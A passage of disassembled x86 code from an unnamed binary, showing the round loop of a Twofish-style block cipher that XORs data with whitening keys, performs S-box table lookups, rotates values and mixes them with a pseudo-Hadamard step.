		mov	ecx, [eax+19h]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_EC]
		mov	eax, [edx+1Dh]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_EC]
		mov	edx, [ecx+21h]
		mov	[ebp+var_30], edx
		jmp	short loc_40E05D
; ---------------------------------------------------------------------------


loc_40E044:				; CODE XREF: sub_40DDFF+211j
		mov	[ebp+var_30], 0
		mov	eax, [ebp+var_30]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_38]
		mov	[ebp+var_3C], edx


loc_40E05D:				; CODE XREF: sub_40DDFF+243j
		mov	[ebp+var_E0], 0
		jmp	short loc_40E08C
; ---------------------------------------------------------------------------


loc_40E069:				; CODE XREF: sub_40DDFF:loc_40F0FCj
		mov	eax, [ebp+var_E0]
		add	eax, 80h
		mov	[ebp+var_E0], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 10h
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_8]
		add	edx, 10h
		mov	[ebp+arg_8], edx


loc_40E08C:				; CODE XREF: sub_40DDFF+268j
		mov	eax, [ebp+var_E0]
		cmp	eax, [ebp+arg_4]
		jge	loc_40F101
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	edx, [ebp+var_DC]
		xor	edx, [ebp+var_3C]
		mov	[ebp+var_24], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		xor	ecx, [ebp+var_D8]
		xor	ecx, [ebp+var_38]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		xor	eax, [ebp+var_D4]
		xor	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		xor	edx, [ebp+var_D0]
		xor	edx, [ebp+var_30]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_24]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_24+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_24+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_24+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_20+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_20+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_20+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		rol	eax, 1
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		add	ecx, [ebp+var_44]
		mov	edx, [ebp+var_1C]
		xor	edx, ecx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax*2]
		add	edx, [ebp+var_40]
		mov	eax, [ebp+var_18]
		xor	eax, edx
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_1C]
		ror	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_1C]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_1C+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_1C+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_1C+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_18+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_18]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_18+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_18+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_20]
		rol	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_24]
		xor	ecx, eax
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx*2]
		add	ecx, [ebp+var_48]
		mov	edx, [ebp+var_20]
		xor	edx, ecx
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		ror	eax, 1
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_24+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_24+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_24+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_20+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_20]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_20+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_20+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+var_18]
		rol	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_14]
		add	edx, [ebp+var_54]
		mov	eax, [ebp+var_1C]
		xor	eax, edx
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx*2]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_18]
		xor	ecx, eax
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_1C]
		ror	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_1C+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_1C+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_1C+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_18+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_18+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_18+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_20]
		rol	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		add	ecx, [ebp+var_5C]
		mov	edx, [ebp+var_24]
		xor	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax*2]
		add	edx, [ebp+var_58]
		mov	eax, [ebp+var_20]
		xor	eax, edx
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24]
		ror	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_24+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_24+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_24+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_20+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_20]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_20+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_20+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_18]
		rol	edx, 1
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_64]
		mov	ecx, [ebp+var_1C]
		xor	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx*2]
		add	ecx, [ebp+var_60]
		mov	edx, [ebp+var_18]
		xor	edx, ecx
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_1C]
		ror	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_1C+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_1C+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_1C+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_18+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_18]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_18+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_18+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+var_20]
		rol	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_14]
		add	edx, [ebp+var_6C]
		mov	eax, [ebp+var_24]
		xor	eax, edx
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx*2]
		add	eax, [ebp+var_68]
		mov	ecx, [ebp+var_20]
		xor	ecx, eax
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24]
		ror	edx, 1
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_24]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_24+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_24+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_24+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_20+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_20+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_20+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		rol	eax, 1
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		add	ecx, [ebp+var_74]
		mov	edx, [ebp+var_1C]
		xor	edx, ecx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax*2]
		add	edx, [ebp+var_70]
		mov	eax, [ebp+var_18]
		xor	eax, edx
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_1C]
		ror	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_1C]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_1C+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_1C+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_1C+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_18+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_18]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_18+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_18+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_20]
		rol	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_7C]
		mov	ecx, [ebp+var_24]
		xor	ecx, eax
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx*2]
		add	ecx, [ebp+var_78]
		mov	edx, [ebp+var_20]
		xor	edx, ecx
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		ror	eax, 1
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_24+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_24+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_24+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_20+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_20]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_20+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_20+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+var_18]
		rol	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_14]
		add	edx, [ebp+var_84]
		mov	eax, [ebp+var_1C]
		xor	eax, edx
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx*2]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_18]
		xor	ecx, eax
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_1C]
		ror	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_1C+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_1C+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_1C+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_18+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_18+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_18+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_20]
		rol	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		add	ecx, [ebp+var_8C]
		mov	edx, [ebp+var_24]
		xor	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax*2]
		add	edx, [ebp+var_88]
		mov	eax, [ebp+var_20]
		xor	eax, edx
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24]
		ror	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_24+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_24+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_24+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_20+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_20]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_20+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_20+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_18]
		rol	edx, 1
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_94]
		mov	ecx, [ebp+var_1C]
		xor	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx*2]
		add	ecx, [ebp+var_90]
		mov	edx, [ebp+var_18]
		xor	edx, ecx
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_1C]
		ror	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_1C+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_1C+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_1C+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_18+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_18]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_18+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_18+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+var_20]
		rol	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_14]
		add	edx, [ebp+var_9C]
		mov	eax, [ebp+var_24]
		xor	eax, edx
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx*2]
		add	eax, [ebp+var_98]
		mov	ecx, [ebp+var_20]
		xor	ecx, eax
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24]
		ror	edx, 1
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_24]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_24+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_24+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_24+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_20+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_20+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_20+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		rol	eax, 1
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		add	ecx, [ebp+var_A4]
		mov	edx, [ebp+var_1C]
		xor	edx, ecx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax*2]
		add	edx, [ebp+var_A0]
		mov	eax, [ebp+var_18]
		xor	eax, edx
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_1C]
		ror	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_1C]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_1C+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_1C+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_1C+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_18+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_18]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	edx, [ecx+edx*4+121h]
		xor	edx, [esi+eax*4+125h]
		mov	eax, [ebp+var_18+1]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+921h]
		mov	eax, [ebp+var_18+2]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_F0]
		xor	edx, [ecx+eax*4+925h]
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_20]
		rol	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_AC]
		mov	ecx, [ebp+var_24]
		xor	ecx, eax
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx*2]
		add	ecx, [ebp+var_A8]
		mov	edx, [ebp+var_20]
		xor	edx, ecx
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		ror	eax, 1
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_24+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_24+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_24+3]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
